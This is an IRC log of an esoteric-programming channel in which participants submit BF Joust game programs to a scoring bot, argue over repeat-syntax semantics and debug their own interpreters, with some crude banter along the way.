23:45:42 <elliott> `addquote <oerjan> <Gregor> oerjan: Tell us what (a(b{c}d)*2e)%2 expands to <-- ababcdbcdedbabcdbcdede, i think <Gregor> oerjan: What - the - fuck
23:46:00 <elliott> Gregor: It's not _that_ difficult to understand; first expand the inner:
23:46:08 <elliott> (ab{c}db{c}de)%2
23:46:10 <elliott> ->
23:46:15 <elliott> ababcdbdbcdede
23:46:20 <Gregor> Ohohohohoh, it's just like the hypothetical multi-{}
23:46:23 <elliott> Just type everything not in {}s twice.
23:46:26 <oerjan> <Deewiant> I thought that was disallowed? <-- i don't see why empty parts of ({})% should be disallowed, it's just that it simplifies to ()*
23:46:32 <elliott> Gregor: Yes, except that you can cause exponential blowup with oerjan's syntax.
23:46:37 <elliott> Which is arguably a good thing.
23:46:45 <Deewiant> oerjan: I was talking about zup, not your line
23:47:25 <HackEgo> ) <oerjan> <Gregor> oerjan: Tell us what (a(b{c}d)*2e)%2 expands to <-- ababcdbcdedbabcdbcdede, i think <Gregor> oerjan: What - the - fuck
23:47:31 <oerjan> <Deewiant> I thought that was disallowed? <-- oh wait misread who you were referring to
23:47:35 <elliott> Quote... number... )?
23:47:37 <elliott> wtf
23:47:41 <elliott> `run tail quotes
23:47:43 <HackEgo> <olsner> actually, I think vorpal is the "retarded team member" to the left \ <elliott> Deewiant: ha, you were wrong, I have stacks, fungespace and MULTIPLE functions! <elliott> and a monad! <elliott> nothing can stop me now! \ <Vorpal> !bfjoust test (-)*10000 <EgoBot> Score for Vorpal_test: 12.9 <Vorpal> yay \ <Vorpal>
23:47:48 <elliott> those aren't quotes about tails!
23:47:52 <elliott> `quote 300
23:47:52 <Deewiant> `run tail -n1 quotes
23:47:54 <HackEgo> 300) <elliott_> The context is Gracenotes releasing an illegal copy of a film about monster cock dildos.
23:47:54 <HackEgo> <xplat> so you have legacy software in befunge that needs supported?
23:47:56 <elliott> `quote 305
23:47:56 <HackEgo> No output.
23:47:58 <elliott> `quote 304
23:48:01 <HackEgo> No output.
23:48:03 <elliott> `quote 303
23:48:04 <HackEgo> No output.
23:48:07 <elliott> `quote 302
23:48:08 <HackEgo> 302) <xplat> so you have legacy software in befunge that needs supported?
23:48:18 <elliott> `addquote <oerjan> <Gregor> oerjan: Tell us what (a(b{c}d)*2e)%2 expands to <-- ababcdbcdedbabcdbcdede, i think <Gregor> oerjan: What - the - fuck
23:48:20 <HackEgo> 303) <oerjan> <Gregor> oerjan: Tell us what (a(b{c}d)*2e)%2 expands to <-- ababcdbcdedbabcdbcdede, i think <Gregor> oerjan: What - the - fuck
23:48:23 <elliott> wtf.
23:48:32 <Deewiant> `cat =addquote
23:48:33 <HackEgo> No output.
23:49:42 <oerjan> <elliott> oerjan: if { scans backwards to the last ( in-code <-- parsing-wise i'm thinking of this as allowing matching { and } in my second CF part, and then looking at chain matchings ( 2 { 1 } 2 { 1 } 2)
23:49:56 <elliott> Deewiant: =addquote?
23:50:10 <Deewiant> A zshism, apparently
23:50:25 <elliott> Deewiant: Does it mean $(which addquote)?
23:50:28 <elliott> zsh is so weird
23:50:29 <Deewiant> Yes
23:51:03 <elliott> zsh builds like 50000 programs into the shell :P
23:51:33 <coppro> oerjan: I would have to say I expect (a(b{c}d)*2e)%2 to be a parse error
23:51:47 <quintopia> !bfjoust zip (>+)*3(>)*5((+)*128<)*5(>)*6(([(-.)*135(+.)*135>)*21(])*21>)*21
23:51:50 <coppro> I would do innermost first
23:51:57 <quintopia> this one beats defend14. i checked that at least :P
23:52:02 <oerjan> <elliott> ababcdbdbcdede <-- um no, you missed the part for db{c}d
23:52:02 <EgoBot> Score for quintopia_zip: 9.4
23:52:05 <coppro> so to (ab{c}db{c}de)%2 which is worng
23:52:06 <coppro> *wrong
23:52:07 <elliott> oerjan: OH NOES
23:52:44 <elliott> Gregor: Dude... you stole lance's format...
23:52:47 <elliott> "Left wins(-42)"
23:52:54 <elliott> Add a space after wins and that's exactly what lance's output ends with right now :P
23:52:55 <Gregor> elliott: It says "tie" when nobody wins :P
23:53:02 <elliott> Gregor: OH, that's not COPYRIGHT INFRINGEMENT then.
23:53:06 -!- elliott has changed nick to Gergor.
23:53:13 <Gergor> And I'M not POSING as GREGOR.
23:53:13 <Gregor> elliott: And thank you for pointing out I missed the space.
23:53:17 <coppro> if you do outside first, then yes, it works out to ababcdbcdedbabcdbcded
23:53:37 <Gergor> defend13 sure is hilarious in the trace screen
23:53:37 <coppro> err, plus an e
23:54:37 <Gregor> elliott: Besides, you requested the feature.
23:54:46 <Gergor> Did I? X-D
23:54:47 <oerjan> <coppro> oerjan: I would have to say I expect (a(b{c}d)*2e)%2 to be a parse error <-- currently we seem to be settling on unifying * and %, which means it's just interpreted as old (a(b{c}d)%2e)*2 by the matching rules
23:55:11 <Gergor> So how does Greggsy Gregor handle {} vs normal
23:55:18 <Gergor> Like he seemed to imply he didn't
23:55:25 <Gregor> I just fixed it X-P
23:55:29 <Gergor> Gregor: How :P
23:55:38 <Gregor> Counting up in the left part, then down in the right part.
23:55:46 <quintopia> !bfjoust superfast_jellyfish +>>>>(+)*33<(-)*66<(+)*99<(-)*128>>>>>>>>([-[++[(+)*15[(.-)*3]]]]>)*21
23:56:02 <Gergor> Gregor: So still no marking of whether a repeater is a {} or () style?
23:56:06 <Gergor> oerjan's belief system is CRUSHED ONCE MORE.
23:56:11 <EgoBot> Score for quintopia_superfast_jellyfish: 36.8
23:56:26 <Gregor> Gregor: I had to mark that in the first place.
23:56:36 <Gregor> Gregor: I just don't distinguish * from % because I already know by then.
23:56:52 <oerjan> coppro: the other legal option would require allowing multiple {} (iteration counts as multiplying there) corresponding to each (), which needs a different algorithm to handle the data for exponential blowup
23:57:01 <Gergor> Gregor: *Gergor:
23:57:04 <coppro> yuck
23:57:05 <Gregor> Hey, what should (a{b}c)*0 do
23:57:12 <coppro> illegal
23:57:12 <Gergor> Gregor: Expand to the null string.
23:57:14 <Gergor> Like all *0s.
23:57:18 <oerjan> Gregor: b
23:57:18 <Gregor> Not b?
23:57:24 <Gergor> Welllllllllll
23:57:26 <coppro> no, not b
23:57:28 <Gergor> I'd prefer it be the null string
23:57:30 <Gregor> I mean it's obviously stupid :P
23:57:30 <Gergor> For commenting purposes.
23:57:32 <oerjan> coppro: yes b
23:57:36 <coppro> we are not trying to make obfuscated bf code
23:57:39 <Gergor> Since it's useless.
23:57:43 <Gergor> It would be nice to be able to say {} in comments :P
23:58:24 <oerjan> coppro: b is the _logical_ result. (a{b}c)*<n+1> = a(a{b}c)*n c fits with that
23:58:24 <coppro> !bfjoust mostly_ripped_off_of_quintopia +>>>>(+)*33<(-)*66<(+)*99<(-)*128>>>>>>>>([-[++[(+)*15[(..-)*3]]]]>)*21
23:58:35 <Gergor> <oerjan> [expecting logic from coppro]
23:58:37 <Gergor> </troll>
23:58:40 <Gergor> <troll>
23:58:40 <EgoBot> Score for coppro_mostly_ripped_off_of_quintopia: 23.7
23:58:42 <coppro> oerjan: except n should be a positive integer
23:59:24 <Gergor> Gregor: Err, do you stop the battle at the end of program execution?
23:59:33 <Gergor> Or no... wait what.
23:59:37 <Gergor> Ohh
2011-02-12
00:01:16 <quintopia> coppro: shutter2 beats it because almost all my decoys are multiples of 3 :P
00:01:36 <Vorpal> night
00:01:38 <quintopia> !bfjoust superfast_jellyfish +>>>>(+)*33<(-)*65<(+)*91<(-)*128>>>>>>>>([-[++[(+)*15[(.-)*3]]]]>)*21
00:01:53 <coppro> quintopia: I just wanted to see what happened when you changed it to a three-cycle wait; a lot of the defenders die to it
00:02:00 <EgoBot> Score for quintopia_superfast_jellyfish: 38.7
00:02:03 <oerjan> <Gergor> It would be nice to be able to say {} in comments :P <-- you could do ((...{}...))%0 . oh wait, what about (({{}}%)%0
00:02:14 <Gergor> i.e. correction to *
00:02:31 <Gergor> oerjan: (({a{b}c})*0)*0
00:02:32 <Gergor> WHAT NOW, GOD
00:03:19 <oerjan> <coppro> oerjan: except n should be a positive integer <-- hm actually i recall that with _multiple_ {}'s, you must stop at 1 because the {}'s may not contain the same thing
00:04:41 <oerjan> Gergor: oh well i guess there is little harm in making ()%0 a comment always
00:04:58 <quintopia> !bfjoust i_like_turtles (+)*11>>>>(+)*33<(-)*65<(+)*91<(-)*128>>>>>>>>([-[++[(+)*15[.-]]]]>)*21
00:05:07 <nescience> why not just use ""
00:05:15 <nescience> that'd make sense and be simple
00:05:18 <EgoBot> Score for quintopia_i_like_turtles: 59.3
00:05:23 <quintopia> ^^
00:05:39 <Gergor> nescience: no lame
00:05:46 <Gergor> ais has approved of *0 as comments
00:05:55 <Deewiant> Gregor: WHOOPS, not #1 anymore are you
00:06:00 <nescience> lamer than abusing loop syntax for a not loop
00:06:02 <nescience> ?
00:06:05 <Gergor> nescience: () isn't loop
00:06:06 <Gergor> it's repeat
00:06:09 <Gergor> 0 repeat = nothingness
00:06:12 <Gergor> just don't use {} and it's fine :P
00:06:17 <Gregor> WTFWTFWTF
00:06:20 <Gregor> quintopia: DAMN YOUUUUUUUUUUU
00:06:28 <nescience> haha he owned all your programs huh
00:06:32 <Gergor> Gregor: Just write i_like_i_like_turtles
00:06:33 <nescience> nice
00:06:34 <Gergor> to make it go down the hill
00:06:37 <Gergor> and you'll return
00:06:39 <Deewiant> Another top program that maglev beats
00:06:48 <Gregor> elliott: Dude, he's WAY ahead!
00:06:58 <quintopia> Deewiant: maglev is superfast. i can't catch it
00:07:01 <nescience> yeah big scores
00:07:04 <Deewiant> In fact mapping_turtle is the only one above maglev that it doesn't beat
00:07:07 <oerjan> Gergor: turtle_neck_to_neck, is what i want to see
00:07:41 <Gergor> oerjan: well now we know about your secret turtle fetish.
00:07:48 <Deewiant> turtle_necking
00:09:09 <coppro> where are they stored?
00:10:05 <coppro> wait; how does maglev even work if you don't know how big the playing field is?
00:10:14 <Gregor> !bfjoust quapping_turtle -(>(+)*10>(-)*10)*4>([(+)*118(+.)*20.+>]+>[(+)*118(+.)*20.->]->)*11
00:10:28 <EgoBot> Score for Gregor_quapping_turtle: 49.2
00:10:37 <Gregor> Figured :(
00:10:49 <Deewiant> The >(.+)*10000 at the end is just a tiebreaker against shudder if you're wondering about that
00:10:57 <coppro> ah
00:10:57 <Gregor> !bfjoust quapping_turtle <
00:11:07 <EgoBot> Score for Gregor_quapping_turtle: 0.0
00:11:14 <quintopia> aw
00:11:25 <quintopia> i liked having a program named after me by someone else ;P
00:12:20 -!- nescience has quit (Ping timeout: 276 seconds).
00:12:29 <coppro> !bfjoust itsalaser (+)*20>[(-)*10>]([[+][+.]])*100
00:13:01 <EgoBot> Score for coppro_itsalaser: 15.2
00:13:03 <coppro> !bfjoust itsalaser (+)*20>([(-)*10>][[+][+.]])*100
00:13:34 <EgoBot> Score for coppro_itsalaser: 16.3
00:14:44 <Gergor> !bfjoust antidefend13 >+(>(+)*100)*7(>[(-)*128[-.]])*22
00:14:46 <Gergor> !bfjoust
00:14:47 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
00:14:54 <Gergor> Beats it on every polarity and tape length.
00:14:56 <Gergor> Congratulations plz.
00:15:08 <EgoBot> Score for Gergor_antidefend13: 23.5
00:15:09 <Gergor> Argh, I'm as Gergor.
00:15:10 -!- Gergor has changed nick to elliott.
00:15:16 <elliott> Gregor: Can you rename that one? :-P
00:15:20 <Deewiant> You have to re-Gergor to < it
00:15:25 -!- elliott has changed nick to Gergor.
00:15:29 <Gergor> !bfjoust antidefend13 <
00:15:30 -!- Gergor has changed nick to elliott.
00:15:36 <elliott> !bfjoust antidefend13 >+(>(+)*100)*7(>[(-)*128[-.]])*22
00:15:44 <Gregor> elliott: Screw ou
00:15:47 <Gregor> *you
00:15:50 <EgoBot> Score for Gergor_antidefend13: 0.0
00:16:07 <EgoBot> Score for elliott_antidefend13: 22.8
00:16:13 <coppro> !bfjoust itsalaser (+)*20>([(-)*10>][+]--+++++)*100
00:16:23 -!- copumpkin has quit (Quit: Computer has gone to sleep.).
00:16:24 <EgoBot> Score for coppro_itsalaser: 7.6
00:16:34 <elliott> Wow, I beat every ais defend* program on every possible configuration except for defend14 and dfend7, both of which I still beat.
00:16:36 <elliott> *defend7
00:16:58 <coppro> !bfjoust itsalaser (+)*20>([(-)*10>][-]--+++++)*100
00:17:03 <elliott> quintopia: What was that about "NO PROGRAMS ON THE HILL"
00:17:12 <elliott> I developed that one by thinking LOGICALLY and analysing TRACES on EgoJSout!
00:17:14 <EgoBot> Score for coppro_itsalaser: 7.6
00:17:22 <coppro> interesting
00:17:24 <Gregor> I predict lameness:
00:17:28 <Gregor> !bfjoust quapping_turtle -(>(+)*10>(-)*10)*4>([(+)*96(+.)*64.+>]+>[(+)*96(+.)*64.->]->)*11
00:17:35 <quintopia> elliott: that's how i write mine too!
00:17:38 <elliott> Wow, antidefend13's points are -15.
00:17:44 <elliott> But its score is 23 because defend13 is so good :P
00:17:45 <EgoBot> Score for Gregor_quapping_turtle: 45.6
00:17:50 <elliott> That's not lameness.
00:17:53 <elliott> Gregor, you've failed at lameness.
00:17:58 <elliott> I'm disappointed in you.
00:18:03 <coppro> what is the size range of the playing field?
00:18:07 <Deewiant> 10-30
00:18:23 -!- elliott has changed nick to ais523.
00:18:27 <ais523> !bfjoust decoytuner <
00:18:29 <ais523> I hope that doesn't work
00:18:30 <coppro> !bfjoust itsalaser (+)*20>(->+>-->++>)*2([(-)*10>][-]--+++++)*100
00:18:33 * ais523 has it saved :P
00:18:44 <ais523> !bfjoust decoytuner >+>+>->>>>(>[>-[++[+[----[(-)*118(.-)*16(>(-)*120(.-)*16)*18](+>--[++++[(+)*118[+]]])*19](+>++[----[(-)*118[-]]])*19](+>+[--[(-)*119[-]]])*19](+>-[++[(+)*119[+]]])*19])*20>[[-]][-]>[[-]][-]
00:18:45 -!- ais523 has changed nick to elliott.
00:19:12 <elliott> Gregor: Did it... ignore me?
00:19:14 <EgoBot> Score for coppro_itsalaser: 4.5
00:19:15 <EgoBot> Score for ais523_decoytuner: 28.4
00:19:15 <EgoBot> Score for ais523_decoytuner: 28.4
00:19:19 <elliott> ... what.
00:19:22 <coppro> wow that actually suffered?
00:19:24 <elliott> It got 28.4 by being "<"?
00:19:48 <coppro> !bfjoust itsalaser (+)*10>((-)*10>(+)*10>)*2([(-)*10>][-]--+++++)*100
00:20:03 <EgoBot> Score for coppro_itsalaser: 4.5
00:20:09 <coppro> oh wait, I see what I am doing wrong
00:20:11 <coppro> hrmmmmm
00:20:11 <elliott> This laser strategy looks good.
00:20:12 <elliott> :p
00:20:25 <coppro> darn you, brainfuck, for not doing what I want
00:21:33 <elliott> Gregor: Looks like egojsout has a bug.
00:21:38 <elliott> Oh, wait, no.
00:21:53 <elliott> Wait, yup.
00:21:54 <Gregor> egojsout is incapable of bugs.
00:21:55 <elliott> Wait, nope.
00:22:03 <elliott> Gregor: Are you sure that two programs modifying the same cell work?
00:22:09 <Gregor> Yes
00:22:18 <coppro> I want to loop on zero, not on non-zero
00:22:33 <Deewiant> That would be a handy thing to loop on, wouldn't it
00:22:40 <Gregor> TOO BAD
00:22:50 <elliott> Deewiant: Eh?
00:22:59 <Deewiant> What eh?
00:24:18 <elliott> <Deewiant> That would be a handy thing to loop on, wouldn't it
00:24:19 <elliott> <Gregor> TOO BAD
00:24:38 <Deewiant> Why are you eh'ing me
00:24:50 <coppro> I am not eh'ing you
00:25:01 <elliott> Deewiant: What would be a handy thing to loop on
00:25:02 <Deewiant> Gawd dammit
00:25:04 <Deewiant> Who's /ignoring who
00:25:07 <coppro> waitaminute
00:25:10 <coppro> I can totally hack this
00:25:14 <Deewiant> Let me guess: elliott <-> coppro?
00:25:16 <oerjan> Deewiant: he's caught some canadian disease
00:25:21 <coppro> Deewiant: oh
00:25:27 <elliott> I'm /ignoring scrappy because scrappy ignored me and then started restricting his topics of discussion on-channel to how I was ignored
00:25:27 <coppro> I /ignore elliott
00:25:32 <elliott> (Well, 80% of his topics, at least)
00:26:02 <Deewiant> In that case, DON'T EH ME IF YOU ONLY HEAR HALF A CONVERSATION
00:26:26 <elliott> Deewiant: Normally I don't because coppro never speaks.
00:26:28 <elliott> ANd I read it as:
00:26:32 <elliott> <elliott> Gregor: Are you sure that two programs modifying the same cell work?
00:26:32 <elliott> <Gregor> Yes
00:26:32 <elliott> <Deewiant> That would be a handy thing to loop on, wouldn't it
00:26:42 -!- cheater00 has joined.
00:26:42 <elliott> Which just confused me, without realising I was missing a conversation, which is a pretty impossible thing to realise.
00:26:48 <Deewiant> elliott: Assume that when I say something, it makes sense
00:27:00 <Deewiant> Then, when it doesn't make sense, you're obviously missing a conversation
00:27:08 <elliott> Deewiant: But that rule doesn't apply to 90% of people in the channel
00:27:13 <elliott> Who don't make sense on a regular basis
00:27:18 <elliott> You don't get special-cases, sir
00:27:27 <oerjan> the conversation _might_ be something only Deewiant hears, of course
00:27:54 <coppro> !bfjoust itsalaser ((-)*10>(+)*10>)*2>([[-]..--+++++](-)*10>)*100
00:28:30 <coppro> !bfjoust itsalaser ((-)*10>(+)*10>)*2>([[-]..--+++++]++>)*100
00:28:56 <EgoBot> Score for coppro_itsalaser: 15.0
00:28:56 <EgoBot> Score for coppro_itsalaser: 15.0
00:29:22 <coppro> !bfjoust itsalaser ((-)*10>(+)*10>)*2>([[+]..--+++++]>)*100
00:29:35 -!- cheater- has quit (Ping timeout: 240 seconds).
00:29:41 <coppro> !bfjoust itsalaser (>)*9>([[+]..--+++++]>)*100
00:30:01 <coppro> !bfjoust itsalaser (>)*9([[+]..--+++++]>)*100
00:30:13 <EgoBot> Score for coppro_itsalaser: 11.9
00:30:13 <EgoBot> Score for coppro_itsalaser: 11.9
00:30:14 <EgoBot> Score for coppro_itsalaser: 11.9
00:30:18 <coppro> huh
00:30:23 <elliott> !bfjoust
00:30:24 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
00:30:37 <coppro> !bfjoust itsalaser (>)*9([[+]..--+++++]+>[[+]..++-----]->)*20
00:31:01 -!- elliott has set topic: Sorry about that outburst, but it is for your own good, as #esoteric is not a very noob-friendly channel, and you can expect to receive abuse at the drop of a hat. | http://208.78.103.223/esoteric/ | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
00:31:26 <EgoBot> Score for coppro_itsalaser: 1.9
00:32:18 <elliott> Gregor: Is it chrome, or is holy shit egojsout laggy
00:33:28 -!- Behold has quit (Remote host closed the connection).
00:35:29 <oerjan> DON'T GO TO #ESOTERIC, YOU FUCKING IMBECILE, YOU'LL JUST GET ABUSED YOU MORON
00:35:48 <elliott> (source: http://forums.xkcd.com/viewtopic.php?f=11&t=68422 while googling for "bf joust")
00:35:58 <quintopia> i'm hoping that's the message they get from it
00:36:05 <elliott> remember when we claimed to be the only channel friendlier than #haskell?
00:36:06 <elliott> HA HA HA
00:36:08 <elliott> I fixed that
00:36:27 <elliott> i'm preparing to be nice again in about a month, now that the influx of idiotic newbies has died down >:D
00:36:36 <oerjan> >_>
00:36:43 <elliott> well apart from oerjan.
00:36:46 <elliott> he is the constant idiotic newbie.
00:37:05 <oerjan> @_@
00:37:18 <elliott> @_@
00:37:19 <elliott> ^_^
00:37:20 <elliott> ~_~
00:38:25 <Gregor> elliott: Haven't tried it in Chrome.
00:39:03 <Gregor> elliott: Seems pretty fast to me.
00:39:15 <Gregor> elliott: Do you have full-run ties? They take a long time regardless.
00:39:19 <elliott> Gregor: No.
00:39:23 <elliott> I mean it's actually laggy sometimes after running a program.
00:39:28 <elliott> And I have to restart Chrome or whatever.
00:39:31 <elliott> Laggy as in UI laggy.
00:39:37 <Gregor> Your Chrome is broken :P
00:40:07 <elliott> Probably.
00:40:42 <Gregor> I ran out of CO2, so I just made some sugar-citric_acid-water. It's not bad :P
00:42:14 <elliott> !bfjoust vermillion http://sprunge.us/KUWC
00:42:21 -!- nescience has joined.
00:43:41 <EgoBot> Score for elliott_vermillion: 2.9
00:43:55 <Gregor> Wow
00:44:02 <elliott> Gregor: What
00:44:12 <Gregor> Good score :P
00:44:15 <elliott> Gregor: Totally.
00:47:59 <elliott> Gregor: Are you suuure I have to distinguish {} ()s and regular ()s?
00:48:03 <elliott> I really don't want to >_>
00:48:32 <Gregor> You could choose whether to subtract or add in the ) when you follow back to the } or ( I suppose ...
00:48:41 <Gregor> There's certainly some way around it, but it's probably grotty :P
00:51:24 <elliott> THINGS MY PARSER CURRENTLY ACCEPTS: ([)*1]
00:51:42 <oerjan> elliott: note that non-{} )'s are pretty much like {'s, you could just share that implementation
00:51:50 <elliott> oerjan: hm quite possibly
00:51:58 <Gregor> THINGS MY PARSER CURRENTLY ACCEPTS: [()$q
00:52:11 <elliott> Gregor: Yeaaaaah, lance's parser is rejecting non-strictly-well-formed programs for sanity :P
00:52:24 <Gregor> elliott: That's good :P
00:52:29 -!- poiuy_qwert has joined.
00:54:35 <elliott> Gregor: Apparently ([)*1] increments its flag on the third turn and then does nothing forever. SOMEHOW.
00:54:49 <elliott> Probably the ] is writing the loop position to the wrong place or whatever and it just so happens to be the + instruction :-P
00:54:50 <Gregor> lol
00:55:21 <elliott> Also (+)*128 generates "Unknown instruction 128".
00:55:29 <elliott> I FEEL CONFIDENT ABOUT MY PROGRAM REPRESENTATION
00:55:31 <Gregor> X-D
00:55:34 <elliott> (It doesn't use a struct.)
00:55:36 <elliott> (It's just a list of ints.)
00:55:42 <elliott> (It... seemed like a good idea at the time.)
00:55:46 <Gregor> EgoJSout is OBJECT ORIENTED
00:55:47 <oerjan> <elliott> THINGS MY PARSER CURRENTLY ACCEPTS: ([)*1] <-- that does not seem like something you want to do :D
00:56:08 <elliott> Why am I using a list of ints X-D
00:56:08 <Gregor> oerjan: <Gregor> THINGS MY PARSER CURRENTLY ACCEPTS: [()$q
00:56:11 <elliott> OH WELL, IT STAYS
00:56:21 <oerjan> Gregor: O KAY
01:00:50 <elliott> >FE 00 00 00 00 00 00 00 00 <80 -- >0, <9
01:00:50 <elliott> >FF 00 00 00 00 00 00 00 00 <80 -- >0, <9
01:00:50 <elliott> >00 00 00 00 00 00 00 00 00 <80 -- >0, <9
01:00:50 <elliott> >01 00 00 00 00 00 00 00 00 <80 -- >0, <9
01:00:50 <elliott> >01 00 00 00 00 00 00 00 00 <80 -- >0, <9
01:00:51 <elliott> >01 00 00 00 00 00 00 00 00 <80 -- >0, <9
01:00:52 <elliott> =====================
01:00:56 <elliott> How on earth does that end the match...
01:01:32 -!- oerjan has quit (Quit: Good night).
01:04:47 <quintopia> you probably didn't clear your loss flag right
01:08:09 <elliott> i so did
01:08:29 <elliott> quintopia: more importantly, the program is (+)*128 :P
01:08:35 <elliott> oh, off-by-one.
01:08:40 <elliott> i.e. one of the hard things in CS.
01:09:26 <elliott> aha.
01:09:33 <elliott> quintopia: it's actually an optimisation trick.
01:09:55 <quintopia> oh
01:09:56 <elliott> quintopia: if both programs reach the end, i end in a tie. but actually i should only do that if the death counter expires, hmm
01:10:15 <elliott> if (hasended[0] && hasended[1] && !deathcount[0] && !deathcount[1]) return 0;
01:10:15 <elliott> there
01:17:29 <elliott> OK, () work. Now for {}.
01:17:41 <elliott> Gregor: hmm, oerjan's trick only works when you keep an explicit loop stack at execution time, right?
01:18:58 <Gregor> Yes
01:19:42 <elliott> Gregor: Which I don't, yay :P
01:20:38 <elliott> Gregor: Hmm, does that mean that I can't even figure out the matching ] at parse-time?
01:26:40 <elliott> Gregor: Wait, no. Don't I just have to kee ptrack of the _number_ of nested loops?
01:27:02 <Gregor> You need a counter per loop.
01:29:50 <elliott> Gregor: Hmm, yeah. That's weird... uh, you realise that by loop stack I mean [] loop stack?
01:29:52 <elliott> Not () loop stack
01:29:57 <Gregor> OH
01:30:02 <Gregor> I don't have a [] loop stack
01:30:05 <elliott> Oh.
01:30:07 <elliott> I don't need it then. Yay.
01:30:21 <elliott> Gregor: But then how do you handle ([{a}])*3?
01:30:33 <elliott> AFAICT without a loop stack, that won't nest thrice.
01:31:39 <Gregor> This is why you have to do the count-up count-down thing.
01:31:57 <Gregor> If you're counting down during the second part, then you can jump back naively and still be on the correct [
01:32:07 <elliott> Hmmmmm, right.
01:32:14 <elliott> So basically, (...{ and }...) are the two nesters :P
01:33:58 -!- zzo38 has joined.
01:34:40 <quintopia> Gregor: i like the interface changes on bfjsout. making it obvious the arrows are links is a nice touch.
01:34:56 <zzo38> Why do some program make a error only when it is not running in the debugger?
01:35:06 <elliott> zzo38: Because of witches.
01:35:20 <Gregor> quintopia: Glad I could help you beat me :P
01:36:17 <quintopia> Gregor:
01:36:21 <zzo38> Witches?
01:36:30 <Gregor> quintopia: Fascinating.
01:36:42 <quintopia> i'm trying to paste something and it won't
01:36:46 <quintopia> it's a bug i think
01:37:04 <elliott> $ time ./lance '(+)*10000000000000000000' '(+)*10000000000000000000' >/dev/null
01:37:04 <elliott> real0m0.548s
01:37:09 <elliott> Gregor: SO HOW SLOW IS EGOJOUST ON THAT PROGRAM
01:37:12 <elliott> </troll>
01:37:24 <quintopia> erm...i think bfjsout is now in an infinite loop >_>
01:37:25 <elliott> Gregor: P.S. lance: so advanced it supports repeats up to maximum cycle count, not just 12 or whatever it is egojoust's limit is
01:37:29 <elliott> P.P.S. trollin
01:37:32 <elliott> *trollin'
01:37:37 <quintopia> GAH
01:37:41 * quintopia kills the browser
01:37:51 <zzo38> Whiches?
01:38:23 <quintopia> 1358: 0 <90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF 8A 88 9B 76 08 0A 0A >FD 0
01:38:27 <quintopia> 1359: 0 <90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF 8A 88 9B 76 08 0A 0A >FD 0
01:38:30 <quintopia> 1361: 2 <91 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF 8A 88 9B 76 08 0A 0A FE 0
01:38:34 <quintopia> 1360: 0 <91 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF 8A 88 9B 76 08 0A 0A >FE 0
01:38:37 <quintopia> there
01:38:48 <quintopia> i had to kill your page with had frozen to get the text copied from it
01:39:12 <quintopia> a program shouldn't jump from 0 to 2 losses with its flag at 91 should it?
01:39:27 <elliott> lance doesn't crash your browser because it doesn't touch your browser. discuss.
01:39:41 <quintopia> finish it and give it to me
01:39:45 <elliott> Doing so :P
01:39:59 <elliott> Except just the runner, I want to get a full EgoBot-ready solution before writing the helper.
01:41:31 <quintopia> bfjsout wouldn't kill my browser either if it didn't have a major lock-up-causing bug in it
01:41:38 <quintopia> but hey, that's what js is for, isn't it?
01:41:42 <elliott> precisely!
01:42:33 <elliott> Gregor: Would you hold it against me if I used an actual parser generator for lance rather than hacking up this awful thing? X-D
01:43:13 <Gregor> Yes
01:43:16 <quintopia> elliott: have you already written up the grammar?
01:43:18 <elliott> Gregor: Why
01:43:21 <elliott> quintopia: The grammar is beyond trivial.
01:43:31 <quintopia> HAVE YOU WRITTEN IT DOWN
01:43:31 <elliott> It's just that my current parser accepts ([)*n], which is just perverse.
01:43:33 <Gregor> elliott: Because it's loser.
01:43:41 <Gregor> elliott: I would still accept Lance into EgoBot of course.
01:43:46 <Gregor> elliott: But I would eternally shame you.
01:43:49 <elliott> *lance
01:43:50 <elliott> It's totes lowercase.
01:44:09 <elliott> Because it's EUNUCHS philosophy, in contradiction of Gregor's SUCK philosophy.
01:44:14 * elliott unbias
01:44:23 <elliott> Sucklosophy.
01:44:28 <Gregor> LANCE
01:44:33 <elliott> L.A.N.C.E.
01:44:55 <elliott> Luxurious, yet Anal, Noodly Cervix Enabler
01:44:56 <elliott> Wait, what
01:45:06 <elliott> That acronym was GOING to be about BF Joust
01:49:34 <quintopia> Looks like Acronyms are Not Coherent from Elliot
01:49:35 <quintopia> t
01:50:27 <elliott> OMG MAYBE I CAN STORE THE NESTING STRUCTURE AS A BITFIELD INSTEAD
01:50:29 <elliott> :DDD
01:50:34 <elliott> i'm a fuckin geni
01:50:37 <elliott> plural of: geniuses
01:51:10 <R0b0t1> I did not realize how hardcore brainfuck programming could get.
01:51:31 <elliott> BF Joust is the only legitimate use of brainfuck :P
01:51:40 <elliott> (Every other use became tired years ago)
01:53:09 <quintopia> elliott: no, it's still useful for proving other (stateful) languages TC
01:53:18 <elliott> True.
01:53:23 <elliott> (Proving -- depends on your definition of TC.)
01:53:41 <elliott> (Only proves TCness if the language {P} where P is a UTM simulator is TC; this is a matter of debate.)
01:54:10 <quintopia> it's pretty well accepted that BF on an infinite tape can simulate arbitrary TMs
01:55:17 <elliott> quintopia: that isn't the point
01:55:25 <quintopia> what is?
01:55:28 <elliott> quintopia: s/P is a UTM simulator/P is a brainfuck interpreter/
01:55:44 <elliott> quintopia: the debate is: does a language have to have a simulator for /all/ Turing machines to be TC, or is a simulator for just one enough?
01:55:51 <elliott> cpressey, at least, takes the former position
01:56:37 <quintopia> i don't see the difference between "can simulate a UTM" and "can simulate all TMs"?
01:57:05 <elliott> quintopia: can simulate a UTM /with a specified initial input/
01:57:17 <elliott> the point being that, you can have a program that takes a TM specification on stdin and simulates it
01:57:20 <elliott> but you can't pre-rig a program to do that
01:57:28 <elliott> i'm glossing over the issues, it's actually a rather fundamental disagreement IMO
01:57:34 <elliott> but rarely an important one
01:57:50 <elliott> as you're unlikely to find a non-contrived example of a language with a BF interpreter that doesn't have a program for every TM
01:57:52 <quintopia> i've not seen it discussed before.
01:58:05 <elliott> quintopia: we fleshed it out in here some weeks / month ago :P
01:58:17 <elliott> when trying to articulate just what the disagreements about the definition of turing-completeness are
01:59:10 <quintopia> right, because if you can simulate any BF program, then you can simulate the BF TM simulator, which you can use to simulate any UTM, which you can use to simulate all TMs...
01:59:17 <elliott> wrong
01:59:26 <elliott> well, right
